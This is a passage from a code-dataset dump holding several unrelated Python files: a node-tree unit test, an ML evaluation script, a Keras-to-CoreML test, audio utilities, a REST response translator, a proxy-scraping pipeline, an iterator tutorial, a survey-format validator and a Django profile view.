sur_name_1 = Node(names.SURNAME, parent=individual_name)\n sur_name_1.content = 'Gaucho'\n individual_name.add_child(sur_name_1)\n sur_name_2 = Node(names.SURNAME, parent=individual_name)\n sur_name_2.content = 'Carroll'\n self.assertIn(sur_name_1, individual_name.children)\n self.assertNotIn(sur_name_2, individual_name.children)\n individual_name.replace_child(old_child=sur_name_1, new_child=sur_name_2)\n self.assertIn(sur_name_2, individual_name.children)\n self.assertNotIn(sur_name_1, individual_name.children)\n\n # Test for old child removal from node store\n self.assertNotIn(sur_name_1.id, Node.store)\n\n # Test for child node type mismatch\n given_name = Node(names.GIVENNAME)\n given_name.content = 'Chase'\n try:\n individual_name.replace_child(old_child=sur_name_2, new_child=given_name)\n except ValueError as e:\n self.assertIsNotNone(e)\n\n def test_shift(self):\n individual_name_1 = Node(names.INDIVIDUALNAME)\n individual_name_2 = Node(names.INDIVIDUALNAME)\n individual_name_3 = Node(names.INDIVIDUALNAME)\n individual_name_4 = Node(names.INDIVIDUALNAME)\n organization_name = Node(names.ORGANIZATIONNAME)\n position_name = Node(names.POSITIONNAME)\n\n # Test shift right\n contact = Node(names.CONTACT)\n contact.add_child(child=organization_name)\n contact.add_child(child=individual_name_1)\n contact.add_child(child=individual_name_2)\n contact.add_child(child=individual_name_3)\n contact.add_child(child=position_name)\n shift_index = contact.shift(child=individual_name_2, direction=Shift.RIGHT)\n self.assertEqual(shift_index, 3)\n self.assertIs(contact.children[3], individual_name_2)\n\n # Test shift left\n contact = Node(names.CONTACT)\n contact.add_child(child=organization_name)\n contact.add_child(child=individual_name_1)\n contact.add_child(child=individual_name_2)\n contact.add_child(child=individual_name_3)\n contact.add_child(child=position_name)\n shift_index = contact.shift(child=individual_name_2, direction=Shift.LEFT)\n self.assertEqual(shift_index, 1)\n self.assertIs(contact.children[1], individual_name_2)\n\n # Test shift on edge right\n contact = Node(names.CONTACT)\n contact.add_child(child=organization_name)\n contact.add_child(child=individual_name_1)\n contact.add_child(child=individual_name_2)\n contact.add_child(child=individual_name_3)\n contact.add_child(child=position_name)\n index = contact.children.index(individual_name_3)\n shift_index = contact.shift(child=individual_name_3, direction=Shift.RIGHT)\n self.assertEqual(index, shift_index)\n\n # Test shift on edge left\n contact = Node(names.CONTACT)\n contact.add_child(child=organization_name)\n contact.add_child(child=individual_name_1)\n contact.add_child(child=individual_name_2)\n contact.add_child(child=individual_name_3)\n contact.add_child(child=position_name)\n index = contact.children.index(individual_name_1)\n shift_index = contact.shift(child=individual_name_1, direction=Shift.LEFT)\n self.assertEqual(index, shift_index)\n\n # Test hard shift on edge right\n contact = Node(names.CONTACT)\n contact.add_child(child=organization_name)\n contact.add_child(child=individual_name_1)\n contact.add_child(child=individual_name_2)\n contact.add_child(child=individual_name_3)\n index = contact.children.index(individual_name_3)\n shift_index = contact.shift(child=individual_name_3, direction=Shift.RIGHT)\n self.assertEqual(index, shift_index)\n\n # Test hard shift on edge left\n contact = Node(names.CONTACT)\n contact.add_child(child=organization_name)\n contact.add_child(child=individual_name_1)\n contact.add_child(child=individual_name_2)\n contact.add_child(child=individual_name_3)\n index = contact.children.index(individual_name_1)\n shift_index = contact.shift(child=individual_name_1, direction=Shift.LEFT)\n self.assertEqual(index, shift_index)\n\n # Test distant sibling shift right\n contact = Node(names.CONTACT)\n contact.add_child(child=organization_name)\n contact.add_child(child=individual_name_1)\n contact.add_child(child=individual_name_2)\n contact.add_child(child=individual_name_3)\n contact.add_child(child=position_name)\n contact.add_child(child=individual_name_4)\n shift_index = contact.shift(child=individual_name_3, direction=Shift.RIGHT)\n index = contact.children.index(individual_name_3)\n self.assertEqual(index, shift_index)\n\n # Test distant sibling shift left\n contact = Node(names.CONTACT)\n contact.add_child(child=individual_name_1)\n contact.add_child(child=organization_name)\n contact.add_child(child=individual_name_2)\n contact.add_child(child=individual_name_3)\n contact.add_child(child=individual_name_4)\n contact.add_child(child=position_name)\n shift_index = contact.shift(child=individual_name_2, direction=Shift.LEFT)\n index = contact.children.index(individual_name_2)\n self.assertEqual(index, shift_index)\n\n def test_get_node(self):\n access = Node(names.ACCESS)\n node = Node.get_node_instance(access.id)\n self.assertIs(access, node)\n\n def test_delete_node(self):\n eml = Node(names.EML)\n eml.add_attribute('packageId', 'edi.23.1')\n eml.add_attribute('system', 'metapype')\n access = Node(names.ACCESS, parent=eml)\n access.add_attribute('authSystem', 'pasta')\n access.add_attribute('order', 'allowFirst')\n eml.add_child(access)\n allow = Node(names.ALLOW, parent=access)\n access.add_child(allow)\n principal = Node(names.PRINCIPAL, parent=allow)\n principal.content = 'uid=gaucho,o=EDI,dc=edirepository,dc=org'\n allow.add_child(principal)\n permission = Node(names.PERMISSION, parent=allow)\n permission.content = 'all'\n allow.add_child(permission)\n node = Node.get_node_instance(principal.id)\n self.assertIs(principal, node)\n Node.delete_node_instance(eml.id)\n self.assertNotIn(principal.id, Node.store)\n\n def test_delete_node_no_children(self):\n eml = Node(names.EML)\n eml.add_attribute('packageId', 'edi.23.1')\n eml.add_attribute('system', 'metapype')\n access = Node(names.ACCESS, parent=eml)\n access.add_attribute('authSystem', 'pasta')\n access.add_attribute('order', 'allowFirst')\n eml.add_child(access)\n allow = Node(names.ALLOW, parent=access)\n access.add_child(allow)\n principal = Node(names.PRINCIPAL, parent=allow)\n principal.content = 'uid=gaucho,o=EDI,dc=edirepository,dc=org'\n allow.add_child(principal)\n permission = Node(names.PERMISSION, parent=allow)\n permission.content = 'all'\n allow.add_child(permission)\n node = Node.get_node_instance(principal.id)\n self.assertIs(principal, node)\n Node.delete_node_instance(eml.id, children=False)\n self.assertIn(principal.id, Node.store)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"tests/test_node.py","file_name":"test_node.py","file_ext":"py","file_size_in_byte":10016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"330510010","text":"\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\nimport numpy as np\nimport time\nimport os\nimport glob\nimport random\nimport sys\n\nfrom utils.io_utils import set_seed, parse_args\n\nparams = parse_args('test')\n\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nimport torch.optim\nimport torch.optim.lr_scheduler as lr_scheduler\n\nset_seed(params.seed)\n\nimport config.configs as configs\nimport models.backbone as backbone\n\nfrom data.datamgr_2loss import SimpleDataManager, SetDataManager\nfrom methods.protonet_2loss import ProtoNet\n \nfrom utils.io_utils import model_dict, get_resume_file, get_best_file, get_assigned_file\nimport json\nfrom models.model_resnet import *\nfrom utils.utils import RunningAverage, Logger, wandb_restore_models\nfrom tqdm import tqdm\n\nimport wandb\n\nfrom data.cdfsl import Chest_few_shot\nfrom data.cdfsl import CropDisease_few_shot\nfrom data.cdfsl import EuroSAT_few_shot\nfrom data.cdfsl import ISIC_few_shot\n\nimport csv\n\ntorch.cuda.set_device(0)\n\nout_file = open(\"cdfsl_specific_results.txt\", \"a\")\nlog_file = open(\"cdfsl_specific_results_logs.txt\", \"a\")\n\ntimestamp = time.strftime(\"%Y%m%d-%H%M%S\", time.localtime()) \n\ndatamanagers = {\"ISIC\": ISIC_few_shot.SetDataManager, \"EuroSAT\": EuroSAT_few_shot.SetDataManager, \\\n \"ChestX\": Chest_few_shot.SetDataManager, \"CropDisease\": CropDisease_few_shot.SetDataManager} \n\n# datamanagers = {\"CropDisease\": CropDisease_few_shot.SetDataManager} \n\ndataloaders = {}\n\nfor dset in datamanagers.keys():\n dataloaders[dset] = {}\n\n datamgr = datamanagers[dset](224, n_query = 16, n_eposide = 600, n_way = 5, n_support = 5)\n dataloaders[dset][\"224\"] = datamgr.get_data_loader(aug=False)\n\n\nwith open('runs_cdfsl.csv') as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=',')\n line_count = 0\n for row in csv_reader:\n id = row[0]\n\n print(id)\n\n wandb.init(project=\"CDFSL\", entity=\"meta-learners\", id=id, resume=True) # NOTE: Change when project=\"CDFSL\"\n\n dir = wandb.config[\"checkpoint_dir\"]\n dir = dir[dir.index(\"results\"):]\n\n if len(id) == 0 or len(dir) == 0:\n continue\n\n image_size = wandb.config[\"image_size\"]\n model_type = wandb.config[\"model\"]\n\n dataset_unlabel = wandb.config[\"dataset_unlabel\"]\n\n params = wandb.config\n\n model = ProtoNet( model_dict[model_type], n_way=5, n_support=5, use_bn=(not params[\"no_bn\"]), pretrain=params[\"pretrain\"], tracking=params[\"tracking\"],)\n\n try: \n for file in [\"last_model.tar\"]:\n \n full_path = os.path.join(dir, file)\n pth = wandb.restore(full_path)\n\n print(\"Restored %s\" % (pth.name))\n\n tmp = torch.load(pth.name)\n state = tmp['state']\n state_keys = list(state.keys())\n for i, key in enumerate(state_keys):\n if \"feature.\" in key:\n newkey = key.replace(\"feature.\",\"\") # an architecture model has attribute 'feature', load architecture feature to backbone by casting name from 'feature.trunk.xx' to 'trunk.xx'\n state[newkey] = state.pop(key)\n else:\n state.pop(key)\n\n model.feature.load_state_dict(state)\n\n model = model.cuda()\n model.feature = model.feature.cuda()\n\n model.feature.eval()\n model.eval()\n\n dset = dataset_unlabel\n\n print(dataset_unlabel, end=\": \")\n \n acc_mean, acc_std = model.test_loop( dataloaders[dataset_unlabel][str(image_size)], proto_only=True) \n\n acc_str_c = '%4.2f%% +- %4.2f%%' %(acc_mean, 1.96* acc_std/np.sqrt(600))\n\n wandb.log({\"test/acc_%s\" % (\"best\" if file==\"best_model.tar\" else \"resume\") : acc_str_c})\n\n exp_setting = 'Time: %s, W&B ID: %s, Dataset: %s' %(timestamp, id, dset)\n acc_str = 'Test Acc: %s' %(acc_str_c)\n out_file.write( '%s %s\\n' %(exp_setting,acc_str) ) \n\n print(\"Removed %s\" % (pth.name))\n os.remove(pth.name)\n\n wandb.finish()\n\n except ValueError as ve:\n print(ve)\n log_file.write(\"ValueError for %s: %s\" % (id, ve))\n\n except RuntimeError as re:\n print(re)\n log_file.write(\"RuntimeError for %s: %s\" % (id, re))\n\n except:\n print(\"Unexpected error:\", sys.exc_info()[0])\n\n wandb.finish()\n\n\n","sub_path":"other/cdfsl_test_specific.py","file_name":"cdfsl_test_specific.py","file_ext":"py","file_size_in_byte":4617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"150139116","text":"\nimport numpy as np\nimport pdb\nimport coremltools\n\nimport keras.backend as K\nfrom keras.models import Sequential, Model\nfrom keras.layers import Dense, Activation, Convolution2D, MaxPooling2D, Permute, Reshape, InputLayer, Flatten\n\n\ndef _keras_transpose(x, is_sequence=False):\n if len(x.shape) == 4:\n # Keras input shape = [Batch, Height, Width, Channels]\n x = np.transpose(x, [0,3,1,2])\n return np.expand_dims(x, axis=0)\n elif len(x.shape) == 3:\n # Keras input shape = [Batch, (Sequence) Length, Channels]\n return np.transpose(x, [1,0,2])\n elif len(x.shape) == 2:\n if is_sequence: # (N,S) --> (S,N,1,)\n return x.reshape(x.shape[::-1] + (1,))\n else: # (N,C) --> (N,C,1,1)\n return x.reshape((1, ) + x.shape) # Dense\n elif len(x.shape) == 1:\n if is_sequence: # (S) --> (S,N,1,1,1)\n return x.reshape((x.shape[0], 1, 1))\n else:\n return x\n else:\n return x\n\ndef _generate_data(input_shape, mode = 'random'):\n \"\"\"\n Generate some random data according to a shape.\n \"\"\"\n if mode == 'zeros':\n X = np.zeros(input_shape)\n elif mode == 'ones':\n X = np.ones(input_shape)\n elif mode == 'linear':\n X = np.array(range(np.product(input_shape))).reshape(input_shape)\n elif mode == 'random':\n X = np.random.rand(*input_shape)\n elif mode == 'random_zero_mean':\n X = np.random.rand(*input_shape)-0.5\n return X\n\ndef _get_coreml_model(model, input_names, output_names):\n \"\"\"\n Get the coreml model from the Keras model.\n \"\"\"\n # Convert the model\n from coremltools.converters import keras as keras_converter\n model = keras_converter.convert(model, input_names, output_names)\n return model\n\n\"\"\"\nUnit test function for testing the Keras converter.\n\"\"\"\ndef _test_keras_model(model, mode = 'random', delta = 1e-2,\n transpose_keras_result = True):\n\n # transpose_keras_result: if true, compare the transposed Keras result\n # one_dim_seq_flags: a list of same length as the number of inputs in\n # the model; if None, treat all 1D input (if any) as non-sequence\n # if one_dim_seq_flags[i] is True, it means the ith input, with shape\n # (X,) is in fact a sequence of length X.\n\n\n # Generate data\n nb_inputs = len(model.inputs)\n\n input_shape = [1 if a is None else a for a in model.input_shape]\n input_names = ['data']\n input_data = _generate_data(input_shape, mode)\n coreml_input = {'data': _keras_transpose(input_data).astype('f').copy()}\n\n # Compile coreml model\n output_names = ['output'+str(i) for i in xrange(len(model.outputs))]\n coreml_model = _get_coreml_model(model, input_names, output_names)\n\n # Assuming coreml model output names are in the same order as Keras\n # Output list, put predictions into a list, sorted by output name\n coreml_preds = coreml_model.predict(coreml_input)\n c_preds = [coreml_preds[name] for name in output_names]\n\n # Run Keras predictions\n keras_preds = model.predict(input_data)\n k_preds = keras_preds if type(keras_preds) is list else [keras_preds]\n\n # Compare each output blob\n pdb.set_trace()\n print(np.array(k_preds) - c_preds)\n\n\n# cdata.transpose(0,3,1,2).reshape(1,-1,50,50).transpose(0,3,2,1)[0,:,:,0]\n\nif __name__ == '__main__':\n\n K.set_image_dim_ordering('tf')\n tf_dim_model = Sequential()\n\n # in case of accepting B x C x H*W x 1 convert to B x H x W x C\n # data = np.arange(160).reshape(10,-1, 1)\n # data.transpose(2,0,1).reshape(-1,4,4).transpose(1,2,0)[:,:,0]\n # #\n # tf_dim_model.add(InputLayer(input_shape=(20, 50*50, 1)))\n # tf_dim_model.add(Permute((3,1,2)))\n # tf_dim_model.add(Reshape((-1, 50, 50)))\n # tf_dim_model.add(Permute((2,3,1)))\n\n tf_dim_model.add(InputLayer(input_shape=(50, 50, 20)))\n\n tf_dim_model.add(Convolution2D(40, 5, 5, bias=True))\n tf_dim_model.add(MaxPooling2D(pool_size=(2,2)))\n tf_dim_model.add(Activation('relu'))\n tf_dim_model.add(Convolution2D(60, 3, 3, bias=True))\n tf_dim_model.add(MaxPooling2D(pool_size=(2,2)))\n tf_dim_model.add(Activation('relu'))\n tf_dim_model.add(Convolution2D(90, 3, 3, bias=True))\n tf_dim_model.add(MaxPooling2D(pool_size=(2,2)))\n tf_dim_model.add(Activation('relu'))\n tf_dim_model.add(Flatten())\n tf_dim_model.add(Dense(500, bias=True)) # 1440 -> 500\n tf_dim_model.add(Activation('tanh'))\n tf_dim_model.add(Dense(8, bias=True, activation='softmax')) # 500 -> 8\n\n tf_dim_model.load_weights('/Users/a_shika/Desktop/Python_Script/DLhacks/AIL2/AIL_team5/kayama/Keras-Classification-Models/tf-kernels-channels-last-dim-ordering/my_weights_theano0.h5')\n\n # for i in range(13):\n # tf_dim_model.pop()\n pdb.set_trace()\n\n _test_keras_model(tf_dim_model)\n","sub_path":"CoreMLmodel/NumericalTest.py","file_name":"NumericalTest.py","file_ext":"py","file_size_in_byte":4801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"187231940","text":"\"\"\"Utility functions.\"\"\"\nimport builtins\nimport os\nimport shutil\n\n\ndef print_verbose(verbose, *args, **kwargs):\n \"\"\"\n Print the input if verbose is True.\n\n More readable than an if-print statement in nested loops.\n \"\"\"\n if verbose:\n builtins.print(*args, **kwargs)\n\n\ndef refresh_directory(dir_name):\n \"\"\"\n Remove and remake the specified directory.\n\n Parameters\n ----------\n dir_name : String\n Directory to be removed.\n\n Returns\n -------\n None.\n\n \"\"\"\n if os.path.exists(dir_name):\n shutil.rmtree(dir_name)\n os.makedirs(dir_name)\n\n\ndef retrieve_files(dir_name):\n \"\"\"Retrieve all files in the directory.\n\n Parameters\n ----------\n dir_name : str\n Directory containing files.\n\n Returns\n -------\n list\n List of files in the directory.\n\n \"\"\"\n return [os.path.join(dir_name, f) for f in sorted(os.listdir(dir_name))]\n\n\ndef get_feature_directory_name(settings_dict):\n \"\"\"Get the directory name from the supplied parameters and features.\"\"\"\n dir_string = \"%s_%d_%d_%d_%d\" % (\n settings_dict[\"feature\"],\n settings_dict[\"fft_sample_rate\"],\n settings_dict[\"stft_window_length\"],\n settings_dict[\"stft_hop_length\"],\n settings_dict[\"frequency_bins\"],\n )\n if settings_dict[\"feature\"] == \"cqt\":\n dir_string += \"_%d\" % settings_dict[\"cqt_min_frequency\"]\n if settings_dict[\"feature\"] == \"mfcc\":\n dir_string += \"_%d\" % settings_dict[\"mfc_coefficients\"]\n return dir_string\n\n\ndef load_spectrum_settings(settings_dict):\n \"\"\"Set missing parameters to their defaults.\"\"\"\n settings = settings_dict.copy()\n if \"feature\" not in settings:\n settings[\"feature\"] = \"Stft\"\n if \"fft_sample_rate\" not in settings:\n settings[\"fft_sample_rate\"] = 44100\n if \"stft_window_length\" not in settings:\n settings[\"stft_window_length\"] = 1024\n if \"stft_hop_length\" not in settings:\n settings[\"stft_hop_length\"] = settings[\"stft_window_length\"] // 2\n if \"frequency_bins\" not in settings:\n settings[\"frequency_bins\"] = 60\n if settings[\"feature\"] == \"Cqt\" and \"cqt_min_frequency\" not in settings:\n settings[\"cqt_min_frequency\"] = \"C1\"\n if settings[\"feature\"] == \"Mfcc\" and \"mfc_coefficients\" not in settings:\n settings[\"mfc_coefficients\"] = 13\n return settings\n\n\ndef load_state_settings(state_dict):\n settings = state_dict.copy()\n if \"states\" not in settings:\n settings[\"states\"] = [\n \"rpm\",\n \"rpm_delta\",\n \"cmd\",\n \"cmd_delta\",\n \"height\",\n \"vel\",\n \"acc\",\n \"angles\",\n \"rates\",\n ]\n if \"context_frames\" not in settings:\n settings[\"context_frames\"] = 0\n return settings\n","sub_path":"aircraft_detector/utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2805,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"217203985","text":"#!/usr/bin/env python\n\nfrom compy.actor import Actor\nfrom compy.event import HttpEvent\n\nclass RESTTranslator(Actor):\n\n input = HttpEvent\n output = HttpEvent\n\n \"\"\"\n The purpose of this actor is to translate a returning event into a proper RESTful\n response.\n\n e.g. method = POST and status = \"200 OK\" \"method = 201 Created\"\n e.g. method = PATCH and status = \"200 OK\" but no return data exists -> \"204 No Content\"\n \"\"\"\n\n def __init__(self, name, url_post_location=None, *args, **kwargs):\n super(RESTTranslator, self).__init__(name, *args, **kwargs)\n self.url_post_location = url_post_location\n\n def consume(self, event, *args, **kwargs):\n\n method = event.environment.get(\"REQUEST_METHOD\", None)\n self.logger.info(\"Translating REST for {method}\".format(method=method), event=event)\n\n event = getattr(self, \"translate_{method}\".format(method=method.lower()))(event)\n self.send_event(event)\n\n def translate_post(self, event):\n status_code = event.status[0]\n\n if status_code == 200 or status_code == 201:\n event.status = (201, \"Created\")\n local_url = self.url_post_location or event.environment.get(\"PATH_INFO\", None)\n entity_id = event.get(\"entity_id\", event.meta_id)\n\n if local_url is not None:\n if \"{entity_id}\" in local_url:\n location = local_url.format(entity_id=entity_id)\n else:\n location = local_url + \"/\" + entity_id\n\n event.headers.update({'Location': location})\n else:\n pass\n\n return event\n\n def translate_patch(self, event):\n status_code = event.status[0]\n if status_code == 200:\n if event.data is None or event.data == \"\" or len(event.data) == 0:\n event.status = (204, \"No Content\")\n else:\n pass\n\n return event\n\n def translate_get(self, event):\n return self.translate_patch(event)\n\n def translate_put(self, event):\n return self.translate_patch(event)\n\n def translate_delete(self, event):\n return self.translate_patch(event)\n","sub_path":"compy/unused_actors/rest.py","file_name":"rest.py","file_ext":"py","file_size_in_byte":2170,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"138178878","text":"# -*- coding: utf-8 -*-\n\n# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: https://docs.scrapy.org/en/latest/topics/item-pipeline.html\n\n\nclass GetproxyPipeline(object):\n def process_item(self, item, spider):\n file = 'proxy.txt'\n with open(file,'a') as fp:\n fp.write('{%s://%s:%s}||\\t%s\\t%-11s %s\\t%s\\r\\n' %(item['protocol'],item['ip'],item['port'], \\\n item['type'],item['location'],item['speed'],item['verifyTime']))\n return item\n","sub_path":"getProxy/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"610666240","text":"\"\"\"\n1.迭代的概念\n使用 for 循环遍历取值的过程叫做迭代，比如：使用for循环遍历列表获取值的过程\n\n2.可迭代对象\n使用for循环遍历取值的对象叫做可迭代对象, 比如：列表、元组、字典、集合、range、字符串\n可迭代的对象说明是可以被迭代（遍历）的，但是只有迭代器可以使用！\n\n3.iter()函数与next()函数\niter函数: 获取可迭代对象的迭代器，会调用可迭代对象身上的iter方法\nnext函数: 获取迭代器中下一个值，会调用迭代器对象身上的next方法\n也就是说：这两个函数必须同时在一个类里，同时实现两个方法。\n\n4.迭代器\n迭代器：就是定义一个类，在类里面实现iter和 next这两个方法；则这个类就是 迭代器；可以使用for迭代（遍历）。\niter 的作用是把 这类变成 可迭代（遍历）的对象，返回本身。\nnext 就是能在迭代（遍历）的时候，依次取出下一个值。\n\n5.迭代器的应用场景\n迭代器最核心的功能就是可以通过next()函数的调用来返回下一个数据值。如果每次返回的数据值不是在一个已有的数据集合中读取的，而是通过程序按照一定的规律计算生成的。\n——意味着不在依赖一个已有的数据集合，也就是说不用再将所有要迭代的数据都一次性缓存下来供后续依次读取，这样可以节省大量的存储（内存）空间。\n\"\"\"\n\n\nfrom collections.abc import Iterable\nfrom collections.abc import Iterator\nfrom time import sleep\n\n\nclass Classmate(object):\n def __init__(self):\n self.names = list()\n\n def add(self, name):\n self.names.append(name)\n\n # 若想要一个对象成为 可迭代对象，即可以使用for循环，那么必须实现 __iter__ 方法\n def __iter__(self):\n # __iter__方法必选返回一个对象的引用（强调这个对象可以是自己），这个对象必须包含__iter__和__next__方法，该对象即为迭代器\n return ClassmateIterator(self) # ClassmateIterator类的self作用是将Classmate创建的对象传递给ClassmateIterator，使两个类产生关联\n\n\n# 创建迭代器\nclass ClassmateIterator(object):\n def __init__(self, obj):\n # 将Classmate创建的对象转换为对象属性\n self.obj = obj\n self.current_index = 0\n\n def __iter__(self):\n pass\n\n # 作用：在迭代（遍历）时，取出下一个值\n def __next__(self):\n \"\"\"根据条件实现的功能主要是写在这！\"\"\"\n # 判断是否大于遍历的值\n if self.current_index < len(self.obj.names):\n ret = self.obj.names[self.current_index]\n self.current_index += 1\n return ret\n else:\n # 停止迭代（遍历）。否则超出遍历值后返回的值是None\n raise StopIteration\n\n\ndef main():\n classmate = Classmate()\n classmate.add(\"王大\")\n classmate.add(\"刘二\")\n classmate.add(\"张三\")\n\n # 判断classmate对象是否是可迭代对象\n print(F\"判断classmate对象是否是可迭代对象:{isinstance(classmate, Iterable)}\")\n\n # 判断classmate_iterator是否是迭代器\n classmate_iterator = iter(classmate)\n print(F\"判断classmate_iterator是否是迭代器:{isinstance(classmate_iterator, Iterator)}\")\n\n \"\"\"\n for循环的步骤，以classmate对象为例：\n 1、判断classmate对象是否是可迭代对象\n 2、在第1步成立的情况下，调用iter函数得到classmate对象的__iter__方法的返回值\n 3、__iter__方法返回的值是一个迭代器，迭代器需包含__iter__ 和 __next__ 方法\n 4、完善__next__返回值\n 完成前3步后，对象就可以使用for循环，但返回值不是classmate对象添加的列表值（比如：王大），而是__next__定义的值，比如__next__方法return 11，则for循环打印的name值全部为11\n \"\"\"\n for name in classmate:\n print(name)\n sleep(1)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"python/02.多任务/03.协程/01_迭代器.py","file_name":"01_迭代器.py","file_ext":"py","file_size_in_byte":4080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"216978119","text":"# -*- coding: utf-8 -*-\n##############################################################################\n#\n# Survey Methodology\n# Copyright (C) 2013 Coop. Trab. Moldeo Interactive Ltda.\n# No email\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU Affero General Public License as\n# published by the Free Software Foundation, either version 3 of the\n# License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU Affero General Public License for more details.\n#\n# You should have received a copy of the GNU Affero General Public License\n# along with this program. If not, see .\n#\n##############################################################################\n\n\nimport re\nimport netsvc\nimport tools\nfrom osv import osv, fields\n\nclass format(osv.osv):\n \"\"\"\"\"\"\n _name = 'sondaggio.format'\n _inherit = [ _name ]\n\n def evaluate(self, cr, uid, ids, input_text, question=None, context=None):\n def norm(validation):\n return \"((%s))\" % \") or\\n (\".join([ l.strip() for l in validation.strip().split(\"\\n\") if l.strip() != ''])\n local_dict = tools.local_dict(input_text, question)\n r = {}\n for f in self.browse(cr, uid, ids):\n is_valid = eval(norm(f.validation), local_dict)\n formated = eval(norm(f.formating), dict(local_dict, is_valid=is_valid))\n message = ';'.join(\n [ m.name for m in f.message_ids if eval(norm(m.condition), dict(local_dict, is_valid=is_valid, formated=formated))]\n )\n r[f.id] = dict(\n is_valid = is_valid,\n formated = formated,\n message = message,\n )\n return r\n\n def evaluation_test(self, cr, uid, ids, context=None):\n input_test_obj = self.pool.get('sondaggio.input_test')\n question_obj = self.pool.get('sondaggio.node')\n message_obj = self.pool.get('sondaggio.message')\n fs = self.read(cr, uid, ids, ['input_test_ids'])\n for f in fs:\n its = input_test_obj.read(cr, uid, f['input_test_ids'], ['name', 'question_id', 'formated', 'valid'])\n r = []\n vt = True\n for it in its:\n question = question_obj.browse(cr, uid, it['question_id'][0]) if it['question_id'] else None\n r.append(\"

Testing: %s

\" % it['name'])\n f_id = f['id']\n v = True\n try:\n er = self.evaluate(cr, uid, [f_id], it['name'], question)\n val_result = er[f_id]['is_valid']\n for_result = er[f_id]['formated']\n msg_result = er[f_id]['message']\n\n \"\"\"\n for msg in message_obj.read(cr, uid, f['message_ids'], ['name', 'condition']):\n msg_result = eval(msg['condition'], local_dict)\n if not type(msg_result) is bool:\n v = False\n r.append(\"

TypeError: Expected Boolean result for validation.

Returned value is: %s

\" %\n type(val_result))\n elif msg_result:\n r.append(\"

Message raised: %s

\" % msg['name'])\n \"\"\"\n\n if not type(val_result) is bool:\n v = False\n r.append(\"

TypeError: Expected Boolean result for validation.

Returned value is: %s

\" %\n type(val_result))\n if not type(for_result) in [ str, unicode ]:\n v = False\n r.append(\"

TypeError: String result for format.

Returned value is: %s

\" %\n type(for_result))\n\n r.append(\"

Message raised: %s

\" % msg_result)\n\n except SyntaxError as e:\n r.append(\"

Syntax Error: %s

\\n

line: %i, character: %i

code: %s

\" %\n (e.args[0], e.args[1][1], e.args[1][2], e.args[1][3]))\n v = False\n r.append(\"

Errors found

\")\n except BaseException as e:\n r.append(\"

%s

\" % repr(e))\n v = False\n r.append(\"

Errors found

\")\n else:\n if it['formated'] != for_result:\n r.append(\"

Wrong expected value

\")\n r.append(\"

%s != %s

\" % (it['formated'], for_result))\n v = False\n if it['valid'] != val_result:\n r.append(\"

Wrong expected validation

\")\n r.append(\"

%s != %s

\" % (it['valid'], val_result))\n v = False\n if v:\n r.append(\"

Is Valid:%s

\" % (\"True\" if val_result else \"False\"))\n r.append(\"

Normalized to:%s

\" % for_result)\n r.append(\"

Test end successfully

\")\n else:\n r.append(\"

Test end with errors

\")\n r.append('
')\n vt = vt and v\n self.write(cr, uid, f['id'], { 'compile_message': '
'.join(r), 'tests_result': vt, })\n return True\n\n def onchange_code(self, cr, uid, ids, validation, formating, message_ids, input_test_ids, context=None):\n \"\"\"\"\"\"\n import pdb; pdb.set_trace()\n input_test_obj = self.pool.get('sondaggio.input_test')\n for it in input_test_obj.browse(cr, uid, input_test_ids):\n import_text = it.input\n val_result = eval(validation, {'input': input_text, 'self': question_id})\n for_result = eval(formating, {'input': input_text, 'self': question_id})\n\n return {\n 'test_result': True,\n }\n\nformat()\n\n# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:\n","sub_path":"addons/zondaggio/format.py","file_name":"format.py","file_ext":"py","file_size_in_byte":6435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"426596889","text":"from django.shortcuts import render, redirect, reverse, get_object_or_404\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib import messages\n\nfrom .forms import EditProfileForm\nfrom .models import UserProfile\nfrom ideas.models import Board\nfrom django.contrib.auth.models import User\n\n\n@login_required\ndef profiles(request, user):\n \"\"\" A view to return the profile page \"\"\"\n\n if not request.user.is_authenticated:\n return redirect(reverse('home'))\n\n user = request.user\n\n context = {\n 'user': user,\n }\n\n try:\n get_user = get_object_or_404(User, username=user)\n user_profile = get_object_or_404(UserProfile, user=get_user)\n except Exception:\n user_profile = UserProfile.objects.create(\n user=request.user, name='')\n context = {\n 'user_profile': user_profile,\n 'user': user,\n }\n return render(request, 'profiles/profile.html', context)\n\n try:\n get_user = get_object_or_404(User, username=user)\n user_profile = get_object_or_404(UserProfile, user=get_user)\n board = Board.objects.get(user=get_user, closed=False)\n\n context = {\n 'user_profile': user_profile,\n 'user': user,\n 'board': board,\n }\n\n return render(request, 'profiles/profile.html', context)\n except Exception:\n context = {\n 'user_profile': user_profile,\n 'user': user,\n }\n return render(request, 'profiles/profile.html', context)\n\n\n@login_required\ndef edit_profile(request, user):\n \"\"\" A function to edit the users profile and render\n the edit_profile page \"\"\"\n\n try:\n profile = get_object_or_404(UserProfile, user=request.user)\n except Exception:\n # Create empty User Profile if it doesn't exist\n UserProfile.objects.create(\n user=request.user, name='')\n\n profile = 